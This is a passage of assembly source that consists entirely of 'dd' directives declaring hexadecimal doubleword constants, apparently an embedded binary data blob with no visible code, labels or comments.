		dd 608CEB4Eh, 0DC13844h, 4A8479AAh, 13404009h, 0E1F7118Ah
		dd 32361515h, 37510FC0h, 0F01E51BAh, 0E34140CAh, 0CFBD3DDCh
		dd 95252C00h, 801336B7h, 0F81F009Dh, 0D04A05FAh, 0D20133A9h
		dd 381A86BDh, 0D828F1A4h, 6CE5E900h, 6556B580h,	72C8A863h
		dd 90B89D82h, 0DB749980h, 6D0412D4h, 11F67A41h,	7FCE0h
		dd 0B94C625Bh, 4A7E049Ah, 54A31401h, 0F315F6BDh, 480A85F0h
		dd 0D83B607Ch, 92EE3F9Eh, 9C480746h, 4A73B388h,	0BE00117Eh
		dd 0F0F2FC9Bh, 228073Dh, 7EFEFF1Eh, 0AD414554h,	3A1BD4CDh
		dd 0E1016F76h, 0ACD2F98Ch, 0BDDCB42Ah, 78D80139h, 6974B22h
		dd 70E2FD35h, 0BE1D383Ch, 2C0C1C6h, 13B073A4h, 32B10FDEh
		dd 801ED745h, 0B69FEB8Dh, 0C4071F99h, 0B05E65DFh, 36723780h
		dd 2BDE27CDh, 318008C0h, 0ED45B502h, 6ACB6C10h,	62105EFCh
		dd 0A400083Bh, 26768C22h, 174FCF2h, 3CA97CECh, 95E2D8F6h
		dd 0A84CFA05h, 0A040530Bh, 939B5723h, 8DE7A0C1h, 194113CFh
		dd 5EB8048Fh, 0FAAF4934h, 0E2490058h, 41EDAAA3h, 0CB0098BBh
		dd 8D2CBF76h, 18891E99h, 0E8ADEC4Dh, 1600834Ah,	0B425E6DDh
		dd 786E1B66h, 76A02809h, 569F00BCh, 0C39F347h, 0D313C77Fh
		dd 7800AD68h, 0AE0558EBh, 0BB450EF8h, 0E4A307A7h, 858A2432h
		dd 4C5E0042h, 0EE181E01h, 50803FB7h, 0B466E7AEh, 2800D5D0h
		dd 106C8B0Fh, 50C82C90h, 9A39C096h, 162F0000h, 2A1C5B43h
		dd 9A007DF8h, 0F4E32DADh, 7A2694C8h, 4674C88h, 2E11BF00h
		dd 3EEB6B13h, 82190B00h, 0CEAE921Ch, 3F4A00B8h,	0D9BB9B02h
		dd 0DE71262Dh, 0C66B6C00h, 66127D47h, 0FD40068h, 70E1A732h
		dd 7B508798h, 153952A8h, 33D9EACh, 7329A6C0h, 118E80h
		dd 0FF946D6Ah, 67FB5A42h, 8A329000h, 9C180D8Dh,	6660E74h
		dd 0EF205DE3h, 0E2B347CAh, 0BCB0AE00h, 0A5AB83A9h, 0DB900E4h
		dd 0AFE96855h, 14B07BD3h, 791A7100h, 26B0CC15h,	0F8E2079Eh
		dd 6FA83D1Fh, 0A1DC0AA2h, 0C998D868h, 40F825Ch,	0F99B4ACh
		dd 0C4DA2C80h, 291810D6h, 2B0207FDh, 0DC85E3F7h, 0F0E268C1h
		dd 4A2899E3h, 2501CC4h,	5F1EAC6Dh, 284988D2h, 570EC4BFh
		dd 0B49758h, 29340D8h, 56E5C94h, 5E8CB9CDh, 2294E814h
		dd 0E4621399h, 0ECF480C5h, 0F700425Ah, 4EF8B756h, 0E8EA9AEh
		dd 61949FDh, 804C5DE7h,	0E436A748h, 72E39500h, 0FC2CAB5Ah
		dd 0A2D70062h, 574283B8h, 0CD09E7A5h, 0E3DA86F7h, 9B6FC8B4h
		dd 621008Ah, 0B585DC0Eh, 504A880h, 0CB55B2BFh, 0E6443C80h
		dd 287E05FCh, 803C222Eh, 0C6D1F953h, 0B9E29BE0h, 0C4B01409h
		dd 0DDF0008Bh, 109EE20h, 0B31097EAh, 607C162Bh,	0D70018C1h
		dd 95BB6E13h, 0B6320Eh,	7A6CAD54h, 9F193912h, 2D049195h
		dd 98340E10h, 72FBE126h, 0CAEFD00h, 26A25E1Ah, 1E081833h
		dd 20D7018Bh, 0FCC3049Fh, 97F4E0h, 0E314DE84h, 0FC500D1h
		dd 579BB9C8h, 2014FF8h,	0E954EB43h, 3FD0BBh, 0B499B8CCh
		dd 69161487h, 0F0018AB3h, 930585A2h, 15FC9C0h, 0BE8BA6C0h
		dd 3B0E8CFBh, 6EC45Ch, 8FB8A807h, 72779F20h, 0ADCB4CCFh
		dd 0A7058A00h, 0B0741AEAh, 59F60B04h, 0A781DF62h, 4AE4964Ch
		dd 4661285Ah, 0CB66009Ch, 6AA5CA31h, 80E2216h, 0BDE96B32h
		dd 0A3EEAFC1h, 0D43859CDh, 637C0A2Ch, 60020886h, 0B735629Fh
		dd 1D8F6C1h, 36338109h,	0AA442415h, 16CFE4Dh, 80BF96ECh
		dd 0DAED9789h, 6B003C79h, 3E94520h, 250F6536h, 9B4E56h
		dd 3C214319h, 0FD331310h, 0BC0315Fh, 32B40018h,	82861EBCh
		dd 0DAAB030Ch, 1EE0BE51h, 6F009511h, 8358C6C0h,	82160h
		dd 31B49072h, 0DE6B640Ch, 9457AC07h, 0FBC43CF2h, 421A34E0h
		dd 0CC017336h, 8C2119EDh, 0B180AD1Fh, 6B4688A5h, 7498F179h
		dd 0C9C02297h, 72D90121h, 0B93FC460h, 0F56F1A00h, 91239F43h
		dd 0DF2500AAh, 0B850D44Ah, 4102ADBCh, 0FB18083Dh, 0E374E169h
		dd 16217C4h, 394CBB3Ch,	6CC9F702h, 2CEB09D8h, 2310006Dh
		dd 965ADBCFh, 83A91E5Ch, 26E58F78h, 26272158h, 0F5000DF8h
		dd 2BDAB2A8h, 2E254C4Fh, 9AF2A303h, 71D06AC0h, 1004329h
		dd 0F7F15BA7h, 38A02F48h, 7008F92h, 0B0335CE2h,	44007A34h
		dd 0D3E94BFCh, 0BD2CEFh, 5D681C7Dh, 0A18DB924h,	0DB2F8E03h
		dd 0B0986A4Bh, 3549B7h,	0BA67E188h, 0EB156236h,	16A45759h
		dd 10E07E17h, 70A60B68h, 0E870584Fh, 0BDAD4250h, 33E32900h
		dd 5CCBFF05h, 2666002Bh, 1F4D3048h, 36001B35h, 18651D76h
		dd 31F4787Ch, 0EF88917h, 9C56C672h, 0A85342h, 0DF76DCCEh
		dd 0D4CF6800h, 0B66BA135h, 974D208Ah, 0F4EE3C07h, 0C760CAD3h
		dd 0B46EAC3Dh, 0E84900E8h, 0DCEFA8A1h, 977DA700h, 744014B8h
		dd 0E2F47FF2h, 33DE00DBh, 958D9804h, 7A1DFE9Fh,	4B07807Bh
		dd 44A0063Ch, 4BB6F715h, 0CADC0288h, 8400D975h,	1ED82270h
		dd 3F3B07CFh, 0AF7F1480h, 0A04CC447h, 31BCDB03h, 0B011D2F1h
		dd 5B7B18h, 0D78F2AD3h,	0A63ECBE7h, 0BB02FF9h, 0DFAC00EDh
		dd 75981E17h, 4F009172h, 6AF40330h, 0AD02C4h, 857D2B5Eh
		dd 2393CBF0h, 66498F74h, 8B7C00ECh, 42B4EA9Fh, 6FE40037h
		dd 77737202h, 8216621Ch, 0EF002C18h, 0A40C3C2Ah, 2652033Eh
		dd 0D06BC4BEh, 0CD7CEA88h
		dd 95FFEB0Eh, 0A68220F8h, 6A21193h, 793E1CCEh, 7F1D681Ah
		dd 0F89EBD99h, 0E5C2E606h, 21B61208h, 9FC01EF2h, 3C91F0Ah
		dd 7A590439h, 31FEA109h, 1B202099h, 60C25B02h, 4DCE081Ch
		dd 63005146h, 0EB5560FBh, 3FD3D2Dh, 81EFC58h, 85B78516h
		dd 2A080030h, 0E602E3CAh, 1B3A9F18h, 0D7C899h, 4D43160h
		dd 0F9CA7E0Ch, 8D951A00h, 0B1FE16C6h, 0B963009Dh, 4A1D939Fh
		dd 99602EFAh, 5AEA8340h, 0A10473C0h, 87F20658h,	0A05F7FB2h
		dd 1892385Dh, 0DAA43D6Ch, 0F104E080h, 0AEF36649h, 7C14E800h
		dd 1C3E825Bh, 5FA0012h,	0E0BA7AB4h, 0C51D73C7h,	0EB8077C2h
		dd 0DE429D06h, 0D49500F8h, 9858E4DDh, 0C001BCDh, 2D11B807h
		dd 79EA1A3Fh, 0DBD9C006h, 4B865FB9h, 9332D11Dh,	77E0A000h
		dd 9F259Eh, 8907EF16h, 0D23BF66h, 43CC802h, 81BE8E54h
		dd 989060C8h, 0F24FBC50h, 0C3A50728h, 0F0242CF1h, 16968E2h
		dd 20013FB0h, 0D8BE38Ah, 308F191Dh, 5038B482h, 2900F725h
		dd 6798A4EFh, 0FD209Ah,	0DA877A55h, 0B13E04B5h,	0B4C8A803h
		dd 933697h, 414A8B71h, 3DE81F7Dh, 797E6D7Ch, 8C5F4800h
		dd 8D2E40E4h, 47C7Ah, 25C5205Dh, 44619DBEh, 0BA6A2916h
		dd 30FBE305h, 0F933B081h, 174C330h, 7F1D65F7h, 9281190Eh
		dd 3000BEA9h, 5D6FC83Fh, 9DC6008Ch, 0D1A2B352h,	91004045h
		dd 5F4CF80Fh, 7F1B2A0Dh, 1E4BE034h, 0F7CEDC88h,	15EBB029h
		dd 0A003102h, 9278CB75h, 60B23516h, 5F27208Bh, 303DBE08h
		dd 88228F8Eh, 0A349E037h, 0F0FFCDC6h, 0B131002Fh, 0C1D0CEA0h
		dd 0D9E8C213h, 0C8ED08C0h, 301FA2FEh, 0B0305BB1h, 500A70Ch
		dd 9427072Ah, 7A08949h,	0DAA28555h, 0BA808E17h,	0B7290415h
		dd 0EA10286Ah, 0D2D17B03h, 5F34C0A4h, 30CF18D5h, 7C449066h
		dd 58E37700h, 6045DAE0h, 5AE718E2h, 0C9B0E027h,	0F326BE13h
		dd 0ED1E8300h, 1D31C241h, 3E6648F8h, 4A1107B1h,	84C188Dh
		dd 6E191B99h, 1D664F81h, 46034E0Ah, 4456129h, 0DAFC5286h
		dd 18A97C10h, 21334E01h, 90188A07h, 4AB8BEDDh, 0C09CCA6h
		dd 921D6721h, 1839A90h,	3E3652D6h, 0A70FFD19h, 80FDE55Fh
		dd 3DF2E857h, 3000CDC1h, 813A5C98h, 30424567h, 3189D5BAh
		dd 7C00F0E7h, 0A613D15Ah, 0E8100952h, 1621C0CDh, 2443F0FFh
		dd 0E7947700h, 9555C453h, 60DEF471h, 4F7DD1D8h,	6E00A92Eh
		dd 7BCD14AEh, 1F2F8573h, 40EB0B94h, 0A1B0541Ah,	80A6D3C5h
		dd 0F4B93C60h, 2F9AB5Ch, 8F5DE8BFh, 9490D429h, 0A603B0FFh
		dd 0CE7CDC7Dh, 0DFF5E13Fh, 0C22100E7h, 594E8909h, 33332A15h
		dd 0C80921h, 89016221h,	5B6997E7h, 0D4729500h, 0FAE03A42h
		dd 0CDDE3335h, 98D08629h, 6A00660Bh, 9CF86F9Eh,	60B9A396h
		dd 1AF089D8h, 0A83B54FAh, 7402730Ah, 9AE15DBCh,	11E09D2Dh
		dd 20C09D1Ah, 0A3EAF1AEh, 5DC206CAh, 71DAB8F4h,	75073470h
		dd 69599C50h, 0B4CE5A70h, 4FC62030h, 89020246h,	9EBEE290h
		dd 70170F31h, 776F9091h, 1E81803h, 2EC0B944h, 0F76269h
		dd 8E7E0A13h, 0C50319DBh, 3A0FE4C8h, 2A56D8D1h,	0C8B0C47h
		dd 2751BD35h, 1872813Ch, 0D311DBBFh, 0EC4A5451h, 0E15C143Dh
		dd 2EC8C9Dh, 483DEE8Ch,	10032082h, 518A5908h, 31C9DCC0h
		dd 804729CDh, 986138E0h, 0B84E4550h, 8F024670h,	8EBEE090h
		dd 70110331h, 0B58C4097h, 0D43975DDh, 31FA1902h, 47E499C9h
		dd 0B47E01CFh, 0DD810CCh, 8753C85Ah, 1588A04Dh,	14A4C84Ch
		dd 3F64B4DCh, 0E28CD4DEh, 0CB44EF00h, 0FBB0DC64h, 337162h
		dd 0F69584D0h, 36E8269Bh, 855340Ch, 45CB4946h, 0DF54F03Fh
		dd 0EB7161C0h, 49AE4C3Bh, 297FA4D0h, 8C0C98Bh, 529F3858h
		dd 0DD3B4170h, 4A8E00ACh, 0B01A6FAEh, 1C736704h, 6F807B48h
		dd 0D03D2031h, 92A4DBh,	0A1389CDAh, 3AB819ABh, 52DE7F0Fh
		dd 5E91381Fh, 0B3DC88D4h, 2F692666h, 624A40C8h,	3DE621C5h
		dd 0DB65AC04h, 4D3C0812h, 83F0E0C0h, 2AD9465Ah,	0F8F48437h
		dd 0B1DCF000h, 448B33E3h, 7DF2602h, 0D1388420h,	804D8F8h
		dd 595B8908h, 4ECAC40Dh, 5A890067h, 0A86B2B7h, 3E5BD36Bh
		dd 60A0A498h, 5E6144A7h, 0B0F63Ah, 5C3463D5h, 3FB98AE8h
		dd 0D3831029h, 128870ACh, 7F40829Ch, 233F4A04h,	31410319h
		dd 0AEB8D53Ch, 86245E85h, 4789F4BBh, 540890B9h,	0B60E0020h
		dd 76521155h, 0C1C14EFAh, 0A6DA1525h, 48B951F4h, 0B084240Fh
		dd 0D0224A26h, 5518E128h, 0FA20492Fh, 1C41C034h, 0A32EC242h
		dd 0DE110700h, 0FDEBFF02h, 9F4932D4h, 3C66B390h, 7C020346h
		dd 36BEE790h, 7D00E847h, 8C719084h, 0FFC99B9h, 0B60061DCh
		dd 56FAB374h, 3D3E6F14h, 1C8C77E8h, 5359890Ah, 61EC381Dh
		dd 0CD890200h, 72E5AEE3h, 285D581Eh, 0C86AEBC0h, 5905A112h
		dd 3FFFB273h, 0D623302Bh, 2C58D285h, 0B1349443h, 0AA210AA1h
		dd 11884936h, 907D8006h, 0A73EBEE6h, 857200F8h,	65428A90h
		dd 5D280F01h, 9C5DC89h,	0D3472185h, 0E5908852h,	0C7814601h
		dd 6A553785h, 0A442B035h, 0F0E13040h, 465A8E3Ah, 6021CA37h
		dd 0C814F0F9h, 0F324D700h, 8DE2B70Eh, 0AABCA06Ah, 0E6CE145Dh
		dd 6842F028h, 2B300DE2h, 715C0038h, 0CE41C1CBh,	0BA4C69DEh
		dd 0F2DF8114h, 0FCC9C8Fh, 88A5C74h, 0A4D7DE15h,	0CA57BC00h
		dd 0E266F1E5h, 5A019CECh, 3352219h, 4AD4828Fh, 907726BBh
		dd 0D81B61CCh, 12D3CCBEh, 5DBA6300h, 34EA0DACh,	5355F416h
		dd 8800A04Bh, 9247F609h, 1605350Fh, 4FE343E4h, 0B012EC8Ch
		dd 485100E7h, 0E19E86Ah, 500B470Bh, 2634EDh, 273740A8h
		dd 0DC31C5D9h, 774498CFh, 8B18CC7Fh, 257948F9h,	71E70044h
		dd 0D5C6BBB3h, 8CC73CAh, 6EC2139h, 526EE74Ch, 0B300490Ah
		dd 7B09921Eh, 0F4DA8205h, 0C16E0097h, 4336E0B0h, 6F02595Ch
		dd 0FAA54641h, 0B01F2730h, 942609FBh, 0FDE16000h, 0E303969Eh
		dd 92810958h, 0AC1D3677h, 0BF8CCA11h, 2B0CC478h, 71205AD2h
		dd 0C58A3134h, 29C2B929h, 810F3D10h, 4276841Eh,	0AFE8B691h
		dd 47D50087h, 0B3734AE2h, 0ED17A0A1h, 14603276h, 60E02941h
		dd 72AE48D2h, 4C56FDC6h, 8F771FB0h, 0E1B2B102h,	47146257h
		dd 67C844FCh, 0E5F3800Fh, 148517F4h, 64C4B434h,	4F77CF22h
		dd 977A2600h, 0F553C90Bh, 0CBD400B5h, 0BF437514h, 884C34B8h
		dd 5BA58000h, 90294A9Eh, 0D1FC919Ch, 12B7180Dh,	22F8089Eh
		dd 0DA603F0Ch, 28EC4D66h, 6FB1F900h, 0A3922E55h, 7C360540h
		dd 8022BA45h, 3F1A5462h, 0C5B93D18h, 0C33C1h, 1146E0CCh
		dd 0D59C2C1Fh, 0FD75C300h, 311C6DF8h, 0A29D0032h, 0E35DE582h
		dd 21E8A1DEh, 30D4F901h, 88CE5A81h, 18F83028h, 0ED20FF8Ch
		dd 107F0247h, 513DB30Fh, 4E1BB098h, 49940B00h, 0A942E8FEh
		dd 378000B5h, 0E45E0408h, 0B22CB08Ch, 0D384085Fh, 0E4892247h
		dd 588CB445h, 0FC910064h, 48CFBBBCh, 41075766h,	21EA7723h
		dd 0F041F607h, 34225ED2h, 8464216h, 0E5802CF8h,	99D7EB34h
		dd 5081097Dh, 80ABF186h, 1B56A401h, 5D298024h, 46C10FEFh
		dd 0C980E7B9h, 65CFEC4Ah, 0D61EC45Bh, 3A00B69Dh, 63D88D10h
		dd 17545C1Bh, 412D058h,	34180227h, 0D4E4DABDh, 8550524Dh
		dd 0D8943FB9h, 0CAF2CCA2h, 20FDD30h, 6BBAA407h,	0D0520676h
		dd 0D991DF00h, 31614D6Ch, 0BADD7B88h, 2DAA33C4h, 0C098AF81h
		dd 3901DF1Ah, 8916195Eh, 29805C3Dh, 2363DE28h, 0C002B0C6h
		dd 30498F3Eh, 0BEAC8118h
		dd 299F5855h, 0A2880EF8h, 5F518E81h, 12F42D56h,	8CDAA874h
		dd 3022D8C7h, 0E2A41C85h, 0C35E5300h, 0C784DC81h, 4F891321h
		dd 0FF040846h, 44D00BC7h, 99296559h, 394606Ch, 0E016789h
		dd 0D36E8D75h, 0A4092C5Dh, 88A66CB2h, 0D3DE8506h, 35310011h
		dd 5A246A91h, 86004A56h, 98D792EDh, 2A6EF50h, 4E4CA110h
		dd 86C15FA9h, 0E438807Ch, 607B114Fh, 12709AE9h,	319ECA2h
		dd 5B78A400h, 0B17BACA0h, 5FF1E719h, 21DC7380h,	51900120h
		dd 0E5DD8A98h, 0F1BDF4E4h, 94227F0Fh, 0E021A076h, 0E43D26C1h
		dd 0DA1B3DB3h, 34685307h, 0B9B1A058h, 0FD092B59h, 0CBB2DC8Fh
		dd 4455FA00h, 36FA33C4h, 7AB049F9h, 3A007079h, 2FEDE91Bh
		dd 1875A1CFh, 4955E1B1h, 5D07F671h, 5844A2DCh, 0A6EA9210h
		dd 0ABE624A9h, 0CEC10094h, 44D1A3B5h, 805F5C00h, 39DC5773h
		dd 0C0E0E89Bh, 1BA08608h, 0C90ECDBBh, 80C6F025h, 0BDB50F14h
		dd 0C1FA1F11h, 0DBEC0FD7h, 0F7EDD980h, 91E20C6h, 0B20EC3CEh
		dd 10158C95h, 0C12A00D6h, 0B01210B4h, 200F08DCh, 20CBE4A8h
		dd 0DDBCC7F4h, 0CAF700BAh, 0C6F2071Bh, 0CCF8BB25h, 0D80B290Fh
		dd 3DDB0EC5h, 0D6DA3031h, 0C4E5F9DDh, 1CF0BAECh, 0C3ED14CFh
		dd 0D1EE2D07h, 64883A82h, 83DFF504h, 9AC3524Ch,	0EBE3CEE3h
		dd 2170E6C3h, 0FF5A7200h, 0A0B77068h, 0FE09CD61h, 5A09E421h
		dd 87DFFC39h, 0D4773A3Fh, 0DCE008C0h, 6FA200A8h, 0F6818FBFh
		dd 543BF133h, 799930B2h, 326CABBh, 3D00C0Eh, 8DE1436h
		dd 2054B830h, 26F2D5h, 6C70BDD2h, 57080A25h, 5CFE6601h
		dd 0BB4FB8E0h, 39BC5898h, 8819208Eh, 0E5C99B34h, 5A080C18h
		dd 0C42068F5h, 3A240F8h, 1751225Ah, 0FEFCC4h, 0F43C3F51h
		dd 4C319537h, 75F629F7h, 0C278C4h, 0CFF6634h, 0D99C01ACh
		dd 98B30A00h, 0E85FBAC0h, 5738C1DCh, 0A3DDB5EBh, 707880D1h
		dd 13BB003Eh, 517DCA93h, 0B8140B9Ah, 7D8C963h, 0AE6C19E0h
		dd 80B71D48h, 22E2EA97h, 0E9E89C07h, 0F487A200h, 9FFFBF64h
		dd 6C3318E5h, 1B7B31AFh, 0AA34EF00h, 0ABDB2BB1h, 3FE30C47h
		dd 2CC0E2F4h, 0A517940Fh, 0AAA20EA6h, 0D981889Dh, 567306E7h
		dd 0FABB3C40h, 0DB2D03DDh, 0A3D496D5h, 21BE0830h, 0FAB2E2h
		dd 21AF0EFBh, 983E5A9Eh, 6031B309h, 191402C2h, 0EBC88176h
		dd 8050B1B0h, 0ABF3218Eh, 8CBEE1BCh, 0AC6C9C51h, 13965980h
		dd 0D7B152E3h, 16816100h, 0A017F55Fh, 94C030DBh, 5D8C9B49h
		dd 0C8CACB30h, 3E4C7C19h, 78483A1Ah, 2530E6EDh,	8B7FE1h
		dd 887A2E42h, 99FF8C2Ch, 3EE2B106h, 1279B81Ah, 413669BAh
		dd 0F02FE4B4h, 9B0C25FDh, 0C0091F21h, 5ABF63h, 9233ECD7h
		dd 7DA3CC17h, 0C1D01014h, 0BF6B0690h, 20D59Eh, 0AECEB4F1h
		dd 0C07C307Dh, 48576780h, 3303500Bh, 0FEFD39Bh,	0E76CAAA0h
		dd 4CF8A36Ah, 7E03C1Dh,	0F338CC54h, 0D980FCD4h,	27AD5A1Ch
		dd 61206A3Dh, 0BCAB4806h, 0A76C3050h, 79C43BA9h, 0DE0E6B0Fh
		dd 76D92703h, 1782A3E0h, 4C7D1857h, 24D8D1EBh, 634E6000h
		dd 759137A4h, 0EE0A12F3h, 0E0D04C9Fh, 4F6FF0A0h, 0FFD90031h
		dd 1DBCB417h, 4EDC810Eh, 479380D6h, 2070E04Ch, 51715E17h
		dd 3F5DAC1Ch, 1034D8F0h, 2EF84035h, 0B2D5B301h,	0CFC75D8Dh
		dd 17BC2082h, 5C44FF29h, 7EB518E1h, 0CB2D23FAh,	773BC11h
		dd 0FFF8FAACh, 5B779016h, 328BF68h, 0C4008CA1h,	0A938B411h
		dd 0E5E89AA2h, 30E66C42h, 0BE0817E1h, 6680FEBCh, 7A002132h
		dd 482517E9h, 72F8C1FAh, 0C0AE1EFBh, 8C2D0765h,	2C00296Bh
		dd 3D39A14h, 24F0D626h,	3A5465Eh, 0C2A0D60Fh, 0AD402358h
		dd 7726C901h, 0A618D80Ch, 0F1D088h, 62106926h, 80D73AA4h
		dd 0EAA0FC03h, 18216BBBh, 51949CC9h, 2B007470h,	68473802h
		dd 99CEB730h, 18BD7918h, 0F60C0ECCh, 19F8283Eh,	38A048F7h
		dd 6E01A256h, 357804BBh, 0E7C8B0EFh, 0CCB5019Fh, 6C150966h
		dd 0F48D10B8h, 0AE5B0070h, 13D9BF3Ah, 0B601A708h, 3746E75h
		dd 90CEE7CFh, 10FABA50h, 0E0D32DDCh, 1DFAB1EDh,	0E8444FDEh
		dd 31EA017Ch, 0ECC6A7FBh, 2A96E866h, 490D890h, 9A945D10h
		dd 985FBC04h, 0B7E700E9h, 34E6EB77h, 8321BAEAh,	1860847Ch
		dd 0E171AD08h, 0E4EA39FCh, 370CE629h, 1BA1C508h, 181D281Ch
		dd 9C48A00Ch, 5AE78093h, 6F70CA15h, 1011FE01h, 0A84F5D55h
		dd 4840EC35h, 12AC1A04h, 3349C09h, 98BAEB68h, 0FCE64100h
		dd 4CFA49C0h, 76C92EAh,	8396E351h, 40CFB0F4h, 5600E408h
		dd 0D7EBD4D3h, 520841Dh, 3EBB839Fh, 0C8508916h,	0EB7B133Dh
		dd 0B9CC5C31h, 3424A99Ch, 48803E93h, 0CBE5DF80h, 0E3E751CDh
		dd 30E4C000h, 893AB27Eh, 604948E8h, 0E48CA7E8h,	5C38099Eh
		dd 0A800EB28h, 0F08D17DCh, 67F874B2h, 0AE189A60h, 1608F76Ah
		dd 19B4349h, 9C111298h,	0C1B430D3h, 8048092h, 0FA503FBDh
		dd 31A73CD1h, 8CB0F060h, 0C26FC1Ch, 804CD27Bh, 426E4DBh
		dd 0B211750Ch, 20A04C84h, 78C31E8h, 0C9CB17Fh, 61AE36E6h
		dd 57849001h, 0B3A81BFCh, 0AF80C4h, 210C32A1h, 0A2A02EE7h
		dd 0ECD180B1h, 91832119h, 0E287E7A8h, 0D6BCC217h, 0F450C531h
		dd 317EA79h, 391219B9h,	0F000C3BCh, 85FB8D6Fh, 0B2B2535Ch
		dd 310C0AD0h, 0B9B8CF40h, 0CDD0A12h, 6CD9A374h,	28B349h
		dd 9E7B69FDh, 1D6DA6CBh, 478FC5h, 5508EC67h, 0C372AE95h
		dd 21D63B09h, 0B31C04C8h, 0D26CB60h, 11280C23h,	0F3D60FA0h
		dd 2DE3A026h, 0C3AB2F94h, 0AA0D3EA0h, 131C8150h, 43189D67h
		dd 0C7862157h, 28610CB8h, 0A72980B7h, 0E9B6EB3Bh, 604C1879h
		dd 0F67B0061h, 0E423DCBFh, 0B202CF73h, 3D776D8Ch, 4224E614h
		dd 173E1B6Eh, 20D1E4A1h, 1180BA6Ch, 351E29D8h, 0EB0041DFh
		dd 9D490E5Ch, 0F859D6h,	0C7848DF3h, 11BBE909h, 0F5E37013h
		dd 42B180Bh, 0BE61778Ch, 0B32DD8FAh, 0E1B0448Ch, 9FFAA503h
		dd 0C3E4954h, 47F81699h, 8B5CA206h, 43650766h, 2C06E96Eh
		dd 5CB23140h, 9AC13D8h,	19103AE5h, 4850E4F4h, 4303A128h
		dd 7B56116Ch, 0E121F0C8h, 0B59E05A3h, 0DBBD2792h, 990380DCh
		dd 15E84B17h, 0AC67E0C8h, 882FDC81h, 140832E9h,	14ECA173h
		dd 17E617B8h, 0E86694C0h, 0B5242030h, 140FAA73h, 69742DE4h
		dd 0C248096h, 110B42h, 71F5BA92h, 7C03FBBh, 5694C800h
		dd 2DB6D5CCh, 0C4674D6Ch, 0D02FE406h, 383650EBh, 0B148AC94h
		dd 18C8D194h, 6A8B0735h, 50A73E30h, 8DB3D221h, 3844384Ah
		dd 88824754h, 26FE30B6h, 0DC0C723Eh, 0E6D9E004h, 0FEEA5826h
		dd 27BD0F03h, 0D0400110h, 0AB408F98h, 811E19B4h, 61F069FCh
		dd 5E1F100h, 8888C08Eh,	6D2A2BC0h, 61500A8h, 631B3A59h
		dd 0E9120477h, 6866A5E4h, 80A5408h, 3EBF1FFEh, 946312C4h
		dd 86908C24h, 33755100h, 0D7816C1h, 8C6D1674h, 0B7A4051Eh
		dd 0E4CC9119h, 8E9424FAh, 58152024h, 0F414C081h, 3438BD24h
		dd 28CFFB8h, 0A692FEFCh, 0A9E0DEC8h, 0BB2C8C2Ch, 861C8ADh
		dd 0F2ED47DDh, 8E0C1473h, 4949F0D7h, 83849h, 0EBF65AD8h
		dd 244F32h, 1E6C6D31h, 0F4C43D37h, 5B0DA098h, 0D814BFE6h
		dd 48BBC864h, 34816466h, 5E3F510h, 81338808h, 0DB202FADh
		dd 7A146209h, 0C8A8A08Ch, 74185268h, 9D70F422h,	28B45A01h
		dd 0D55B97CCh, 0EA898FD4h, 69130B84h, 348232BCh, 28503954h
		dd 0B88004B1h, 0BF7455EFh, 5ADD00CBh, 7664C585h, 0BC0156C1h
		dd 267227Fh, 2433153Fh
		dd 0F046523h, 0C1403848h, 0D165762Ah, 936A0500h, 0A2F5218Ch
		dd 61C89AB4h, 0F664034h, 82A00196h, 42C7C020h, 28F1239Ah
		dd 0BCAD16B0h, 3F7463E6h, 0E8672100h, 65DF3017h, 29D2060Bh
		dd 41E94DCFh, 1358D416h, 61DBD304h, 0E80DA5C0h,	0EC2E12E0h
		dd 0CFA4044Fh, 401268B6h, 50905FE7h, 0EDF63C00h, 0C7F2AD6Ah
		dd 0F5DE2A14h, 0E44D30F0h, 1CA24739h, 7DFBCA12h, 699300EBh
		dd 0A14D8B44h, 271C3491h, 8875ED10h, 0B089E138h, 0C78A3829h
		dd 904D13B0h, 0A0630DCCh, 0CF211501h, 92A3A9BAh, 0CB02E8h
		dd 0F938450Ah, 0C047E48Fh, 0E0E37F3Ah, 322FFB60h, 0F45425A1h
		dd 0BCC06C2Dh, 38BA2560h, 138C2B68h, 29AB838Dh,	0A2820C8h
		dd 0FABF048Ch, 62BB2DE1h, 0B6202F8Bh, 344170FAh, 0D73C8300h
		dd 0A9011F86h, 8D84145Ah, 498F9C23h, 5900E8F5h,	0EEC803AFh
		dd 34480D6Fh, 103E8458h, 31BA8CE4h, 9C312767h, 4C18092h
		dd 2E15B4CBh, 806D5F20h, 0CFC59A9Ch, 0AA48E00h,	14B8F5FBh
		dd 136499EBh, 4CA0904Dh, 0CB00A0D3h, 0E542CDFh,	2A3E832Eh
		dd 8098EB8Ch, 96FCE09Ch, 0A8B54104h, 7307754h, 0DD8650DCh
		dd 7827B4B0h, 2AC87204h, 50ACE67Bh, 785C784Ch, 419200BDh
		dd 0CD33D87Eh, 0D23CAE89h, 0E814D888h, 0C70F8C9Ch, 5FC61670h
		dd 0E79489BBh, 0FDA81196h, 1709DC18h, 0C506BCB9h, 0E5738BFCh
		dd 2319DA00h, 2F245D54h, 0A00404BBh, 54894C4Fh,	0B32BEF8h
		dd 1B4A25E6h, 41C2E886h, 228DC909h, 4D3CE059h, 0F4EA06A8h
		dd 0B1AF81C7h, 0C8A09476h, 0F100D7A5h, 8AED8AAh, 73FF5129h
		dd 0F7EE0BC1h, 40489CC0h, 0D900E3CEh, 5D93A7F6h, 0FB9472h
		dd 3A338DDFh, 8396BCC0h, 0F9D19899h, 58009318h,	0DE2DDF26h
		dd 0B6BF283Eh, 29F698D0h, 6E000DA8h, 7E185E81h,	0F2014Bh
		dd 7C42BC6Fh, 0DAF02026h, 7C2E2424h, 0EC6ECE1Ch, 27AE1DDCh
		dd 0F18DD85Bh, 7F1E9E01h, 0BAC06B32h, 0AE067EBFh, 48330921h
		dd 4822448Ah, 4044A4B6h, 0EC710EBh, 0FB053EF0h,	0C08F911Fh
		dd 334F2452h, 9D247408h, 730C6459h, 0B931A5h, 0BD9FC265h
		dd 3850615Dh, 170905EAh, 82725F6Fh, 48354820h, 172B0E1Ch
		dd 1A8F6E7h, 20337087h,	284875BCh, 0E816D2F4h, 99ACD002h
		dd 830C41E3h, 7B00F02Ch, 4133F68Eh, 321E1751h, 0A840F5EFh
		dd 3464ABDCh, 0BA40C2FEh, 28D8575Fh, 2F00CDE8h,	6F6414CAh
		dd 4EC3AD8h, 0B14D7E33h, 93C8A58h, 0C9B0BB05h, 0C6FE0AB0h
		dd 808498A8h, 7A2E2548h, 0A817183Ah, 272368D9h,	0E997200Eh
		dd 0F3EF80E2h, 4C2CFA05h, 0B20106D0h, 0C9ADA55Fh, 0E6C6Dh
		dd 61E92786h, 0EF5051Bh, 825D7910h, 3C917A83h, 164E65C8h
